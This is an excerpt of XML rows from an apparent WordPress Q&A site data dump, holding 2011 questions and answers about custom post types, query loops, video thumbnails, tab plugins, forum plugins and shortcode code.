  <row Id="19879" PostTypeId="1" CreationDate="2011-06-13T13:13:29.647" Score="0" ViewCount="60" Body="&lt;p&gt;When trying to enable newly added language in &lt;strong&gt;qTranslate Configuration ** I get a message&#xA;**Language is already enabled or invalid!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the languages that come with qTranslate are ok.&#xA;Wordpress 3.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? thanx&lt;/p&gt;&#xA;" OwnerUserId="6038" LastActivityDate="2011-06-17T13:41:25.363" Title="Error : &quot;Language is already enabled or invalid! &quot; in wordpress plugin qTranslate" Tags="&lt;wordpress.com&gt;&lt;plugin-qtranslate&gt;" AnswerCount="0" FavoriteCount="1" />
  <row Id="19880" PostTypeId="2" ParentId="19861" CreationDate="2011-06-13T13:14:17.497" Score="0" ViewCount="" Body="&lt;p&gt;This should be visible by default on your WP admin dashboard under &quot;recent comments&quot;. is there something else you're looking for it to do?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-13T13:14:17.497" CommentCount="4" />
  <row Id="19881" PostTypeId="2" ParentId="19874" CreationDate="2011-06-13T13:18:26.757" Score="1" ViewCount="" Body="&lt;p&gt;I suspect that Justin Tadlock's &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members Plugin&lt;/a&gt; would make this very easy for you.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-06-13T13:18:26.757" CommentCount="1" />
  <row Id="19882" PostTypeId="2" ParentId="19874" CreationDate="2011-06-13T13:30:02.527" Score="1" ViewCount="" Body="&lt;p&gt;When you register your custom post type, explicitly set the capability type;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'my_type',  array(&#xA;    'capability_type' =&amp;gt; 'my_type',&#xA;    // other args&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now by default, only super admins should be able to add/edit/delete them, until you grant other roles the relevant capabilities (for example, as @tnorthcutt suggested, using the &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members Plugin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[edit_post] =&amp;gt; edit_my_type&#xA;[read_post] =&amp;gt; read_my_type&#xA;[delete_post] =&amp;gt; delete_my_type&#xA;[edit_posts] =&amp;gt; edit_my_type&#xA;[edit_others_posts] =&amp;gt; edit_others_my_type&#xA;[publish_posts] =&amp;gt; publish_my_type&#xA;[read_private_posts] =&amp;gt; read_private_my_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-13T13:30:02.527" />
  <row Id="19883" PostTypeId="1" CreationDate="2011-06-13T14:31:23.160" Score="1" ViewCount="84" Body="&lt;p&gt;I'm building a content slider that needs to show posts from a custom post type called &quot;Features,&quot; and also show standard blog posts that are assigned to a &quot;Featured&quot; category. I'd like to do this within a single loop. Can anyone help me put together the query that could handle this?&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2011-08-12T19:22:54.990" Title="Display both standard posts in a specific category along with a custom post type in a single loop?" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="19884" PostTypeId="1" AcceptedAnswerId="19892" CreationDate="2011-06-13T14:42:50.430" Score="2" ViewCount="145" Body="&lt;p&gt;What I'm looking to do it get the 16 latest posts from 16 different authors. In other words there would be the 16 latest posts, but no one single author would have more that 1 post on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I've thought about doing it, is looping through all the authors, removing the duplicates, then limited that to 16 and use that to generate the posts in a for each loop, but I'd imagine that would be heavy on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-06-13T18:35:14.550" Title="Find most recent authors" Tags="&lt;posts&gt;&lt;loop&gt;&lt;author&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="19885" PostTypeId="2" ParentId="19883" CreationDate="2011-06-13T14:47:42.553" Score="0" ViewCount="" Body="&lt;p&gt;Fix paging issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Query to add in custom post types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;        'post_type' =&amp;gt; array(&#xA;                    'post',&#xA;                    'custom_post_type_name'&#xA;                ),&#xA;                'paged' =&amp;gt; $paged ) &#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start the main loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (have_posts()) :&#xA;    while (have_posts()) : the_post();&#xA;&#xA;            //Post content&#xA;&#xA;    endwhile;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6156" LastActivityDate="2011-06-13T14:47:42.553" />
  <row Id="19886" PostTypeId="1" CreationDate="2011-06-13T14:49:10.353" Score="0" ViewCount="283" Body="&lt;p&gt;Is there a way to get wordpress to embed vimeo/youtube videos like tumblr with a thumbnail and then to play without the player buttons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&#xA;&lt;a href=&quot;http://ascender.tumblr.com/&quot; rel=&quot;nofollow&quot;&gt;http://ascender.tumblr.com/&lt;/a&gt;&#xA;http://swell-theme.tumblr.com/&lt;/p&gt;&#xA;" OwnerUserId="6078" LastActivityDate="2011-06-13T15:42:10.880" Title="vimeo/youtube embed with thumbnails" Tags="&lt;embed&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="19887" PostTypeId="2" ParentId="19883" CreationDate="2011-06-13T14:55:16.070" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;query_posts( array(&#xA;        'post_type' =&amp;gt; array(&#xA;                    'post',&#xA;                    'features',&#xA;&#xA;                ),&#xA;'category_name' =&amp;gt; 'Featured',&#xA;                'paged' =&amp;gt; $paged )&#xA;&#xA;            );&#xA;&#xA;// have some posts?&#xA;if (have_posts()) :&#xA;    while (have_posts()) : the_post();&#xA;&#xA;        // the loop&#xA;&#xA;    endwhile;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T14:55:16.070" CommentCount="4" />
  <row Id="19889" PostTypeId="2" ParentId="19886" CreationDate="2011-06-13T15:18:42.937" Score="3" ViewCount="" Body="&lt;p&gt;If you embed a vimeo video at that size it hides the playback buttons, no magic involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to display a static thumb of a youtube video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your video url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=WQO-aOdJLiw&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=WQO-aOdJLiw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take the &lt;code&gt;v=&lt;/code&gt; portion of the url to get the large thumb url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img.youtube.com/vi/WQO-aOdJLiw/0.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img.youtube.com/vi/WQO-aOdJLiw/0.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the small thumb url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img.youtube.com/vi/WQO-aOdJLiw/1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img.youtube.com/vi/WQO-aOdJLiw/1.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-13T15:42:10.880" LastActivityDate="2011-06-13T15:42:10.880" CommentCount="2" />
  <row Id="19890" PostTypeId="1" CreationDate="2011-06-13T15:40:36.577" Score="1" ViewCount="155" Body="&lt;p&gt;We've started using the Post UI Tabs pluggin but would like to be able to arbitrarily set the tab that is active when the page is loaded.  For instance, in one example, we have a three-week process, each week being it's own tab and a fourth tab for resource information, and would like to default the week 3 tab to be active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="6157" LastActivityDate="2011-06-13T18:48:36.637" Title="Is there a way to set the default active tab on Post UI Tab pluggin?" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;tabs&gt;" AnswerCount="1" />
  <row Id="19891" PostTypeId="2" ParentId="19848" CreationDate="2011-06-13T16:48:22.387" Score="1" ViewCount="" Body="&lt;p&gt;Sorry I deleted my comment because I found the issue. You need to do an html entity decode on query variable. Use the code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hey_query_shortcode( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'query' =&amp;gt; '',&#xA;        'style' =&amp;gt; ''&#xA;    ), $atts ) );&#xA;&#xA;        $query = html_entity_decode( $query );&#xA;&#xA;        ob_start(); &#xA;        $the_query = new WP_Query( $query );&#xA;        while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;I know $style is set bc it shows up here: &amp;lt;?php echo $style; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;I know $query is set bc it shows up here: &amp;lt;?php echo $query; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    endwhile; &#xA;    echo '&amp;lt;hr&amp;gt;';&#xA;    wp_reset_postdata();&#xA;&#xA;    $list = ob_get_clean();&#xA;    return $list;&#xA;&#xA;}&#xA;&#xA;add_shortcode( 'postlist', 'hey_query_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-13T16:48:22.387" CommentCount="1" />
  <row Id="19892" PostTypeId="2" ParentId="19884" CreationDate="2011-06-13T16:51:03.400" Score="4" ViewCount="" Body="&lt;p&gt;Use a custom SQL query to grab the latest 16 post IDs with unique authors;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_IDs = $wpdb-&amp;gt;get_col( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type = 'product' AND post_status = 'publish' GROUP BY post_author ORDER BY post_date DESC LIMIT 16&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then start up a new query with the &lt;code&gt;post__in&lt;/code&gt; argument;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recent_posts = new WP_Query( array( 'post__in' =&amp;gt; $post_IDs, 'post_type' =&amp;gt; 'product' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-13T18:35:14.550" LastActivityDate="2011-06-13T18:35:14.550" CommentCount="4" />
  <row Id="19893" PostTypeId="2" ParentId="19863" CreationDate="2011-06-13T16:58:19.153" Score="0" ViewCount="" Body="&lt;p&gt;this small code give you the first image from the post, if is inside the gallery of the post and is! the first image in the gallery of the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children( array(&#xA;                'post_parent'    =&amp;gt; get_the_ID(),&#xA;                'post_type'      =&amp;gt; 'attachment',&#xA;                'numberposts'    =&amp;gt; 1, // show all -1&#xA;                'post_status'    =&amp;gt; 'inherit',&#xA;                'post_mime_type' =&amp;gt; 'image',&#xA;                'order'          =&amp;gt; 'ASC',&#xA;                'orderby'        =&amp;gt; 'menu_order ASC'&#xA;                ) );&#xA;foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;    echo wp_get_attachment_image( $attachment_id );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Play with &lt;a href=&quot;http://wpengineer.com/1735/easier-better-solutions-to-get-pictures-on-your-posts/&quot; rel=&quot;nofollow&quot;&gt;my post&lt;/a&gt; about this possibilies and you find your best soltution.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-13T16:58:19.153" />
  <row Id="19894" PostTypeId="2" ParentId="19854" CreationDate="2011-06-13T17:13:06.337" Score="1" ViewCount="" Body="&lt;p&gt;You can try the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_post_type_title ( $post_id ) {&#xA;    global $wpdb;&#xA;    if ( get_post_type( $post_id ) == 'cars' ) {&#xA;        $engine= ', '.get_post_meta($post_id, 'Engine', true).'l';&#xA;        $terms = wp_get_object_terms($post_id, 'brand');&#xA;        $abrand= ' '.$terms[0]-&amp;gt;name;&#xA;        $amodel = ' '.$terms[1]-&amp;gt;name;&#xA;        $title = $post_id.$abrand.$amodel.$engine;&#xA;        $where = array( 'ID' =&amp;gt; $post_id );&#xA;        $wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_title' =&amp;gt; $title ), $where );&#xA;    }&#xA;}&#xA;add_action( 'save_post', 'custom_post_type_title' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-13T17:13:06.337" CommentCount="3" />
  <row Id="19895" PostTypeId="1" CreationDate="2011-06-13T17:26:35.957" Score="2" ViewCount="108" Body="&lt;p&gt;If in a theme for WordPress comments were separated from pings, would it makes sense to keep the option of reply to them in the discussion? (ie visualize the reply link for pings too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping.&lt;/p&gt;&#xA;" OwnerUserId="6159" LastActivityDate="2011-06-14T14:34:36.530" Title="Pings and replies" Tags="&lt;comments&gt;&lt;pingbacks&gt;" AnswerCount="1" />
  <row Id="19897" PostTypeId="2" ParentId="16718" CreationDate="2011-06-13T17:54:27.243" Score="1" ViewCount="" Body="&lt;p&gt;So i ended up doing some jquery and lots of it. The downside is that i have to add the code each time i create a new menu. I am looking into re-creating this but do not want to bother with it right now. &lt;a href=&quot;http://pastebin.com/bWC7a1ej&quot; rel=&quot;nofollow&quot;&gt;This is the link to the solution.&lt;/a&gt; It is very very temporary so if you wish to use it go ahead but there are better ways. You may be able to hook into the wp_nav_menu classes and add a active class to the current active item and then use some jquery to finish it off.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-13T17:54:27.243" />
  <row Id="19898" PostTypeId="1" CreationDate="2011-06-13T18:05:01.660" Score="1" ViewCount="96" Body="&lt;p&gt;When I build a theme from scratch I have to &quot;enable&quot; sidebars and specific menus in the functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, do I need to &quot;enable&quot; access to the javascript and jquery libraries that come bundled with WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because 2 How-to books I've been using (WordPress 2.8 Theme Design, and Beginning WP 3) both talk about needing to do this and provide code, but neither of them makes explicit whether you need to do this just to make things work in general, or whether you need to do this only if you want to include your own &quot;standalone&quot; javascript(s) as opposed to a script that is part of a plugin/widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming the latter but want to confirm -&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2011-06-13T18:14:53.670" Title="Custom Theme Design: do I need to &quot;enable&quot; jquery/javascript libraries?" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="19899" PostTypeId="2" ParentId="19898" CreationDate="2011-06-13T18:14:53.670" Score="1" ViewCount="" Body="&lt;p&gt;If you'll be using jQuery in your theme you need to &quot;enqueue&quot; it. If you do not need the JS , ie if you do not run custom jQuery plugins, you don't need to &quot;enqueue&quot; it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;via wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T18:14:53.670" CommentCount="3" />
  <row Id="19900" PostTypeId="1" AcceptedAnswerId="19919" CreationDate="2011-06-13T18:17:00.987" Score="0" ViewCount="65" Body="&lt;p&gt;There're the functions &lt;code&gt;get_theme_data();&lt;/code&gt; &amp;amp; &lt;code&gt;get_plugin_data();&lt;/code&gt; - which both use &lt;code&gt;get_file_data();&lt;/code&gt; that needs a specific file as &lt;code&gt;$input&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a set of classes that may be used by a plugin or a theme, without a specific location. Everything works, but I don't know how i would determine what the &lt;strong&gt;main&lt;/strong&gt; plugin or theme file is - I mean the one containing the comment header that holds the information (Version, Author, etc.) about the Theme/Plugin.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-13T22:10:15.047" LastActivityDate="2011-06-14T10:42:09.247" Title="How to: get main plugin/theme file?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="19901" PostTypeId="1" AcceptedAnswerId="19905" CreationDate="2011-06-13T18:18:25.807" Score="1" ViewCount="88" Body="&lt;p&gt;I'm in need of a forum plugin for Wordpress that has an option for a private forum that is only accessible (both for reading and posting) to registered users.  Restricted posting appears to be &lt;em&gt;de rigueur&lt;/em&gt;, but restricted viewing appears to be harder to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, it'll integrate directly with Wordpress but if it needs to open in a separate window (&lt;em&gt;a la&lt;/em&gt; BBPress) then that's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking around at different Wordpress forum options (such as BBPress and Mingle), but I can't see whether any support this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a simple forum solution that offers this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2431" LastEditorUserId="2431" LastEditorDisplayName="" LastEditDate="2011-06-13T18:41:44.947" LastActivityDate="2011-06-13T19:48:04.407" Title="Forum plugin with private forum option" Tags="&lt;forum&gt;" AnswerCount="1" />
  <row Id="19902" PostTypeId="2" ParentId="19857" CreationDate="2011-06-13T18:29:07.893" Score="0" ViewCount="" Body="&lt;p&gt;I suggest using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu&lt;/a&gt; . This way you'll be able to construct your own menus and link them to whatever you link or not to link at all. &#xA;I've also used &quot;Redirectify&quot; plugin once, but I think it was removed. There is &lt;a href=&quot;http://wordpress.org/extend/plugins/redirect/&quot; rel=&quot;nofollow&quot;&gt;&quot;Redirect&quot;&lt;/a&gt; though which is probably the same , but I haven't used it&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T18:29:07.893" />
  <row Id="19903" PostTypeId="2" ParentId="19890" CreationDate="2011-06-13T18:48:36.637" Score="1" ViewCount="" Body="&lt;p&gt;When using Post UI tabs plugin its a bit tricky to set the default tab but not that hard,&#xA;you need to create your own JavaScript file and put it in your themes folder&#xA;, lets say you call it &lt;code&gt;custom_script.js&lt;/code&gt; &#xA;inside it add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;   $(&quot;#tabs-1&quot;).tabs(&quot;select&quot;,  - 2);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is assuming that you don't have more then one set of tabs on that post/page.&#xA;then add this snippet to your themes functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_enqueue_scripts','my_tabs_script');&#xA;function my_tabs_script(){&#xA;    if (is_page('SLUG')){&#xA;        wp_register_script( 'my_tabs', get_bloginfo('template_directory') . '/custom_script.js',array('jquery','post-ui-tabs'), '1.0' ,true);&#xA;        wp_enqueue_script( 'my_tabs' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will only load your newly created script on a page with the slug of SLUG you can use it on posts by changing &lt;code&gt;is_page('SLUG')&lt;/code&gt; to &lt;code&gt;is_single(''SLUG_OR_ID)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-13T18:48:36.637" />
  <row Id="19904" PostTypeId="2" ParentId="3014" CreationDate="2011-06-13T18:58:05.057" Score="1" ViewCount="" Body="&lt;p&gt;Here my solution if you want to work with wp_list_pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('page_css_class', 'my_page_css_class', 10, 2);&#xA;function my_page_css_class($css_class, $page){&#xA;    $post_type = get_post_type();&#xA;    if($post_type != &quot;page&quot;){&#xA;        $parent_page = get_option('page_for_custom_post_type-'.$post_type);&#xA;        if($page-&amp;gt;ID == $parent_page)&#xA;            $css_class[] = 'current_page_parent';&#xA;    }&#xA;    return $css_class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now just add in wp_options table a new row with a &lt;strong&gt;option_name&lt;/strong&gt; of &lt;strong&gt;page_for_custom_post_type-xxxx&lt;/strong&gt; and a &lt;strong&gt;option_value&lt;/strong&gt; with the &lt;strong&gt;page-ID&lt;/strong&gt; u want to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you recognized that there is already a option called &lt;strong&gt;page_for_posts&lt;/strong&gt;. If u only have 1 custom post type u can set your page at /wp-admin/options-reading.php in the dropdown and the navigation will set the current_page correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think wordpress core should extend this section with a dropdown for every post type registered.&lt;/p&gt;&#xA;" OwnerUserId="5925" LastActivityDate="2011-06-13T18:58:05.057" />
  <row Id="19905" PostTypeId="2" ParentId="19901" CreationDate="2011-06-13T19:16:58.583" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://simple-press.com/&quot; rel=&quot;nofollow&quot;&gt;Simple:Press&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can limit forums to no access, read only, limited, standard, full, moderator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's decently simple, I've been using it a bit for my personal blog.&#xA;I didn't have too hard of a time integrating it.&#xA;Lots of features available, with pretty fine grained ability to turn things on and off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as information, bbPress no longer requires stand-alone operation&#xA;It is now &lt;a href=&quot;http://bbpress.org/blog/2011/06/bbpress-2-0-beta-3/&quot; rel=&quot;nofollow&quot;&gt;developed as a plugin&lt;/a&gt; and is maturing rapidly.&#xA;I've integrated it into one of my sites with no problems. However, I don't think it meets your needs. Just wanted to include the info in case you were interested.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-06-13T19:48:04.407" LastActivityDate="2011-06-13T19:48:04.407" CommentCount="2" />
  <row Id="19906" PostTypeId="2" ParentId="16718" CreationDate="2011-06-13T19:31:27.817" Score="0" ViewCount="" Body="&lt;p&gt;have a read of this codex: &lt;a href=&quot;http://codex.wordpress.org/Dynamic_Menu_Highlighting&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Dynamic_Menu_Highlighting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-13T19:31:27.817" CommentCount="1" />
  <row Id="19907" PostTypeId="1" CreationDate="2011-06-13T19:51:55.097" Score="7" ViewCount="153" Body="&lt;p&gt;If I use a custom widgetized area (for example footer) where there is only a limited number of  spots for widgets (by design), can I limit the number of widgets the user may include in that specific widgetized area? It doesn't matter if the solution is at the backend or the front end. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6155" LastActivityDate="2011-07-18T20:09:42.457" Title="Limit number of Widgets in Sidebars" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="19908" PostTypeId="2" ParentId="19900" CreationDate="2011-06-13T19:58:13.577" Score="4" ViewCount="" Body="&lt;p&gt;You can get theme's main file using following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$theme_info_file = trailingslashit( get_template_directory() ) . 'style.css';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the plugin's main file you need to know the plugin name. And then you can use following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_plugin_file( $plugin_name ) {&#xA;    require_once( ABSPATH . '/wp-admin/includes/plugin.php' );&#xA;    $plugins = get_plugins();&#xA;    foreach( $plugins as $plugin_file =&amp;gt; $plugin_info ) {&#xA;        if ( $plugin_info['Name'] == $plugin_name ) return $plugin_file;&#xA;    }&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example to get the plugin main file for Akismet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$akismet_plugin_file =  trailingslashit( WP_PLUGIN_DIR ) . get_plugin_file( 'Akismet' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-13T19:58:13.577" CommentCount="1" />
  <row Id="19909" PostTypeId="1" AcceptedAnswerId="19912" CreationDate="2011-06-13T20:11:42.227" Score="1" ViewCount="64" Body="&lt;p&gt;The following code is supposed to allow for a shortcode that includes many attributes, but not all of the attributes may always be present in which case I do not want the containing element to show anything. However, with or without the conditional statements, when I upload my functions file I receive only a blank page on the front and back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full shortcode with conditional statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function info($atts, $content = null) {&#xA;extract(shortcode_atts(array(&#xA;    &quot;name&quot; =&amp;gt; '',&#xA;    &quot;image&quot; =&amp;gt; '',&#xA;    &quot;address&quot; =&amp;gt; '',&#xA;    &quot;phone&quot; =&amp;gt; '',&#xA;    &quot;email&quot; =&amp;gt; '',&#xA;    &quot;website&quot; =&amp;gt; '',&#xA;    &quot;description&quot; =&amp;gt; '',&#xA;    &quot;amenities&quot; =&amp;gt; ''&#xA;), $atts));&#xA;return '&amp;lt;span class=&quot;sort&quot;&amp;gt;'&#xA;if($image) { '&amp;lt;img src=&quot;'.$image.'&quot; /&amp;gt;'}'&#xA;&amp;lt;span class=&quot;name&quot;&amp;gt;'.$name.'&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;details&quot;&amp;gt;'&#xA;if($phone) { $phone }&#xA;if($address) { '&amp;amp;bull; &amp;lt;a href=&quot;http://maps.google.com/?q='.$address.'&quot; target=&quot;_blank&quot;&amp;gt;'.$address.' &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/_/images/mapmarker.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Map&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;'}&#xA;if($email) { '&amp;lt;a class=&quot;infomail&quot; href=&quot;mailto:'.$email.'&quot;&amp;gt;Send Email&amp;lt;/a&amp;gt;' }&#xA;if($website) { '&amp;lt;a class=&quot;infosite&quot; href=&quot;'$website'&quot;&amp;gt;Visit Website&amp;lt;/a&amp;gt;' }&#xA;if($description) { '&amp;lt;p class=&quot;infodetails&quot;&amp;gt;'.$description.'&amp;lt;/p&amp;gt;' }&#xA;if($amenities) { '&amp;lt;p class=&quot;amenities&quot;&amp;gt;'.$amenities.'&amp;lt;/p&amp;gt;' }&#xA;'&amp;lt;/span&amp;gt;&#xA;&amp;lt;/span&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode(&quot;info&quot;, &quot;info&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your suggestions!&lt;/p&gt;&#xA;" OwnerUserId="6161" LastActivityDate="2011-06-13T20:49:29.870" Title="Can shortcodes contain conditional statements? Even without them my shortcode renders blank page" Tags="&lt;functions&gt;&lt;shortcode&gt;&lt;conditional-content&gt;" AnswerCount="1" />
